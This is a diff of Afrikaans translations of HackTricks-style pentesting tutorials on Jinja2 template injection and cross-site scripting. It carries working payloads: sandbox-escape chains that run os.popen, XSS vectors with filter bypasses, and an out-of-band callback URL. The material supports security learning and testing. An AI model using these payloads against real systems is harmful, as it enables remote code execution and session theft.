@ -47,6 +47,7 @@ As die Foutopsporing Uitbreiding geaktiveer is, sal 'n `debug` etiket beskikbaar
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Dump alle konfigurasie veranderlikes**
|
||||
|
@ -63,15 +64,16 @@ As die Foutopsporing Uitbreiding geaktiveer is, sal 'n `debug` etiket beskikbaar
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinja-inspuiting**
|
||||
|
||||
Eerstens, in 'n Jinja-inspuiting moet jy **'n manier vind om uit die sandbox te ontsnap** en toegang te verkry tot die gewone python-uitvoeringsvloei. Om dit te doen, moet jy **objekte misbruik** wat **van** die **nie-sandboxed omgewing kom, maar vanaf die sandbox toeganklik is**.
|
||||
Eerstens, in 'n Jinja-inspuiting moet jy **'n manier vind om uit die sandbox te ontsnap** en toegang te verkry tot die gewone python-uitvoeringsvloei. Om dit te doen, moet jy **objekte misbruik** wat **van** die **nie-sandboxed omgewing afkomstig is, maar vanuit die sandbox toeganklik is**.
|
||||
|
||||
### Toegang tot Globale Objekte
|
||||
|
||||
Byvoorbeeld, in die kode `render_template("hello.html", username=username, email=email)` kom die objekte username en email **van die nie-sandboxed python-omgewing** en sal **toeganklik** wees binne die **sandboxed omgewing.**\
|
||||
Boonop is daar ander objekte wat **altyd toeganklik sal wees vanaf die sandboxed omgewing**, hierdie is:
|
||||
Byvoorbeeld, in die kode `render_template("hello.html", username=username, email=email)` kom die objekte username en email **van die nie-sandboxed python omgewing** en sal **toeganklik** wees binne die **sandboxed omgewing.**\
|
||||
Boonop is daar ander objekte wat **altyd toeganklik sal wees vanuit die sandboxed omgewing**, hierdie is:
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -84,7 +86,7 @@ request
|
|||
|
||||
Dan, vanaf hierdie objek moet ons by die klas kom: **`<class 'object'>`** om te probeer om gedefinieerde **klas** te **herwin**. Dit is omdat ons vanaf hierdie objek die **`__subclasses__`** metode kan aanroep en **toegang kan verkry tot al die klasse van die nie-sandboxed** python omgewing.
|
||||
|
||||
Om toegang te verkry tot daardie **objek klas**, moet jy **toegang verkry tot 'n klas objek** en dan toegang verkry tot **`__base__`**, **`__mro__()[-1]`** of `.`**`mro()[-1]`**. En dan, **na** ons hierdie **objek klas** bereik, **roep** ons **`__subclasses__()`** aan.
|
||||
Om toegang te verkry tot daardie **objek klas**, moet jy **toegang verkry tot 'n klas objek** en dan toegang verkry tot **`__base__`**, **`__mro__()[-1]`** of `.`**`mro()[-1]`**. En dan, **na** die bereik van hierdie **objek klas** roep ons **`__subclasses__()`** aan.
|
||||
|
||||
Kyk na hierdie voorbeelde:
|
||||
```python
|
||||
|
@ -123,15 +125,16 @@ dict.__mro__[-1]
|
|||
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### RCE Escaping
|
||||
### RCE Ontsnapping
|
||||
|
||||
**Nadat ons herstel het** `<class 'object'>` en `__subclasses__` aangeroep het, kan ons nou daardie klasse gebruik om lêers te lees en te skryf en kode uit te voer.
|
||||
|
||||
Die oproep na `__subclasses__` het ons die geleentheid gegee om **honderde nuwe funksies** te **verkry**, ons sal gelukkig wees net deur toegang te verkry tot die **lêer klas** om **lêers te lees/skryf** of enige klas met toegang tot 'n klas wat **opdragte kan uitvoer** (soos `os`).
|
||||
Die oproep na `__subclasses__` het ons die geleentheid gegee om **honderde nuwe funksies** te **verkry**, ons sal gelukkig wees net deur toegang te verkry tot die **lêer klas** om **lêers te lees/skryf** of enige klas met toegang tot 'n klas wat **opdragte toelaat om uitgevoer te word** (soos `os`).
|
||||
|
||||
**Lees/Skryf afstandslêer**
|
||||
```python
|
||||
|
@ -201,10 +204,11 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Keer hier terug vir meer opsies om toegang te verkry tot 'n globale objek**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Keer hier terug vir meer opsies om toegang te verkry tot die objek klas**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Lees dit om RCE te verkry sonder die objek klas**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
* [**Terug hier vir meer opsies om toegang tot 'n globale objek te verkry**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Terug hier vir meer opsies om toegang tot die objekklas te verkry**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**Lees dit om RCE te verkry sonder die objekklas**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
||||
**Vermy HTML-kodering**
|
||||
|
||||
|
@ -241,13 +245,14 @@ Sonder **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Jinja-inspuiting sonder **\<class 'object'>**
|
||||
|
||||
Van die [**globale objekte**](jinja2-ssti.md#accessing-global-objects) is daar 'n ander manier om by **RCE te kom sonder om daardie klas te gebruik.**\
|
||||
As jy daarin slaag om by enige **funksie** van daardie globale objekte te kom, sal jy toegang hê tot **`__globals__.__builtins__`** en van daar af is die **RCE** baie **eenvoudig**.
|
||||
Van die [**globale objekke**](jinja2-ssti.md#accessing-global-objects) is daar 'n ander manier om by **RCE te kom sonder om daardie klas te gebruik.**\
|
||||
As jy daarin slaag om by enige **funksie** van daardie globale objekke te kom, sal jy toegang hê tot **`__globals__.__builtins__`** en van daar af is die **RCE** baie **eenvoudig**.
|
||||
|
||||
Jy kan **funksies** van die objek **`request`**, **`config`** en enige **ander** interessante **globale objek** waartoe jy toegang het, vind met:
|
||||
Jy kan **funksies** van die objekke **`request`**, **`config`** en enige **ander** interessante **globale objek** waartoe jy toegang het, vind met:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -281,6 +286,7 @@ Sodra jy 'n paar funksies gevind het, kan jy die ingeboude funksies herstel met:
|
|||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
## Extra
|
||||
## The global from config have a access to a function called import_string
|
||||
## with this function you don't need to access the builtins
|
||||
|
@ -323,8 +329,8 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -16,7 +16,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur
|
|||
1. Kan jy nuwe HTML-tags skep?
|
||||
2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
|
||||
3. Kan jy beskermings omseil?
|
||||
4. Word die HTML-inhoud geïnterpreteer deur enige kliëntkant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
4. Word die HTML-inhoud geïnterpreteer deur enige kliëntkant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Template Inspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) misbruik?
|
||||
2. Binne 'n **HTML-tag**:
|
||||
1. Kan jy na die rauwe HTML-konteks ontsnap?
|
||||
|
@ -26,12 +26,12 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur
|
|||
3. Binne **JavaScript-kode**:
|
||||
1. Kan jy die `<script>`-tag ontsnap?
|
||||
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
|
||||
3. Is jou invoer in sjabloon letterlik \`\`?
|
||||
3. Is jou invoer in template literals \`\`?
|
||||
4. Kan jy beskermings omseil?
|
||||
4. Javascript **funksie** wat **uitgevoer** word
|
||||
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
|
||||
4. As **gebruik**:
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **beheerde invoer deur enige sink gebruik word.**
|
||||
|
||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet van:
|
||||
|
||||
|
@ -54,13 +54,13 @@ Wanneer jy probeer om 'n XSS te misbruik, is die eerste ding wat jy moet weet **
|
|||
### Rauwe HTML
|
||||
|
||||
As jou invoer **reflekteer op die rauwe HTML** bladsy, sal jy sommige **HTML-tags** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die baie moontlike HTML-tags wat jy kan gebruik.\
|
||||
Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-injection-csti.md).
|
||||
Hou ook in gedagte [Kliëntkant Template Inspuiting](../client-side-template-injection-csti.md).
|
||||
|
||||
### Binne HTML-tags eienskap
|
||||
|
||||
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
|
||||
|
||||
1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
@ -73,9 +73,9 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
|||
```
|
||||
### Binne JavaScript-kode
|
||||
|
||||
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** merke van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
|
||||
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
|
||||
|
||||
* As dit weerspieël word tussen **`<script> [...] </script>`** merke, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-merke sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>`-merk binne die HTML-kode is nie.
|
||||
* As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `</script>` etiket binne die HTML-kode is nie.
|
||||
* As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -98,7 +98,7 @@ Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of kl
|
|||
|
||||
### Javascript Funksie
|
||||
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
|
||||
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||
|
||||
|
@ -138,7 +138,7 @@ There is **JS code** that is using **onveilig** some **data controlled by an att
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
These kind of XSS can be found **oorals**. They not depend just on the client exploitation of a web application but on **enige** **konteks**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **lees** **arbitraire** **lêers** in clients and servers, and more.\
|
||||
These kind of XSS can be found **ooral**. They not depend just on the client exploitation of a web application but on **enige** **konteks**. These kind of **arbitraire JavaScript uitvoering** can even be misbruik om **RCE** te verkry, **lees** **arbitraire** **lêers** in kliënte en bedieners, en meer.\
|
||||
Some **voorbeelde**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,9 +155,9 @@ Some **voorbeelde**:
|
|||
|
||||
## Injecting inside raw HTML
|
||||
|
||||
When your input is reflected **binne die HTML-bladsy** or you can escape and inject HTML code in this context the **eerste** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **karakter** and check if it's being **HTML encoded** or **verwyder** of if it is **reflected without changes**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
|
||||
When your input is reflected **binne die HTML-bladsy** or you can escape and inject HTML code in this context the **eerste** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **verwyder** of if it is **reflected without changes**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
|
||||
For this cases also **hou in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: 'n HTML-kommentaar kan gesluit word met**** ****`-->`**** ****of**** ****`--!>`**_
|
||||
_**Nota: 'n HTML-kommentaar kan gesluit word met\*\*\*\***** ****`-->`**** ****of \*\*\*\*****`--!>`**_
|
||||
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
```html
|
||||
|
@ -166,11 +166,11 @@ In this case and if no black/whitelisting is used, you could use payloads like:
|
|||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Maar, as tags/atribute swart/blanklysiening gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force atribute/gebeurtenisse** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
||||
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force attribuut/geleenthede** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
|
||||
|
||||
### Tags/Gebeurtenisse brute-force
|
||||
### Tags/Geleenthede brute-force
|
||||
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die geleenthede** gebruik makend van die geldige tags (in dieselfde webblad klik op _**Kopieer geleenthede na klembord**_ en volg dieselfde prosedure as voorheen).
|
||||
|
||||
### Pasgemaakte tags
|
||||
|
||||
|
@ -257,13 +257,13 @@ As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep o
|
|||
|
||||
### Binne die tag/ontsnapping van attribuutwaarde
|
||||
|
||||
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](./#injecting-inside-raw-html) genoem word, te gebruik om JS-kode uit te voer.\
|
||||
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](./#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\
|
||||
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
```
|
||||
**Stylingsgebeure**
|
||||
**Stylingsgebeurtenisse**
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
|
@ -275,12 +275,12 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
|||
```
|
||||
### Binne die attribuut
|
||||
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word geënkodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy al die waarde of net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer willekeurige kode wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om willekeurige kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël **as jy al die waarde of net 'n deel daarvan beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
|
||||
|
||||
Die **HTML-geënkodeerde karakters** binne die waarde van HTML-tags se attribuut word **ontsleutel op tyd van uitvoering**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Gaan Terug </a>`
|
||||
Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Gaan Terug </a>`
|
||||
|
||||
Let daarop dat **enige soort HTML-kodering geldig is**:
|
||||
```javascript
|
||||
|
@ -385,7 +385,7 @@ Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kyk die **volgende bladsy om hierdie gedrag te benut**:
|
||||
As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kyk na die **volgende bladsy om hierdie gedrag te benut**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -393,7 +393,7 @@ As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`targe
|
|||
|
||||
### op Gebeurtenis Hanteerders Omseiling
|
||||
|
||||
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
|
||||
Eerstens, kyk na hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
|
||||
As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
|
@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta)
|
||||
|
||||
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **dit is nou moontlik om verborgene invoer te misbruik met:**
|
||||
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -472,13 +472,13 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
|
|||
|
||||
In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
||||
|
||||
### Ontsnapping van \<script> etiket
|
||||
### Ontsnapping van \<script> etikette
|
||||
|
||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
|
||||
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skripte te verstaan en uit te voer, word slegs daarna uitgevoer.
|
||||
|
||||
### Binne JS-kode
|
||||
|
||||
|
@ -490,7 +490,7 @@ As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Om **strings** te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\
|
||||
Om **strings** te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit toelaat om **ingebedde JS-uitdrukkings** te gebruik met `${ ... }` sintaksis.\
|
||||
As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
|
||||
|
||||
Dit kan **abused** word met:
|
||||
|
@ -571,7 +571,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
|||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||||
```
|
||||
**JavaScript spasië**
|
||||
**JavaScript spasie**
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
|
@ -595,7 +595,7 @@ console.log(log)
|
|||
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**JavaScript sonder hakies**
|
||||
**JavaScript sonder haakies**
|
||||
````javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
|
@ -742,14 +742,14 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo
|
|||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut**.\
|
||||
Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
|
||||
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om dit te benut**.\
|
||||
Vergeet ook nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Opgradering van Self-XSS
|
||||
|
||||
### Koekie XSS
|
||||
|
||||
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie toss aanval gebruik:
|
||||
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -763,11 +763,11 @@ Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne
|
|||
|
||||
### Sessiemirrow
|
||||
|
||||
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra en om die admin jou te help, sal hy sien wat jy in jou sessie sien, maar vanuit sy sessie.
|
||||
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
|
||||
|
||||
Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
|
||||
|
||||
## Ander Bypasses
|
||||
## Ander Bypass
|
||||
|
||||
### Genormaliseerde Unicode
|
||||
|
||||
|
@ -788,7 +788,7 @@ Die paar "Key","Value" sal soos volg teruggegee word:
|
|||
```
|
||||
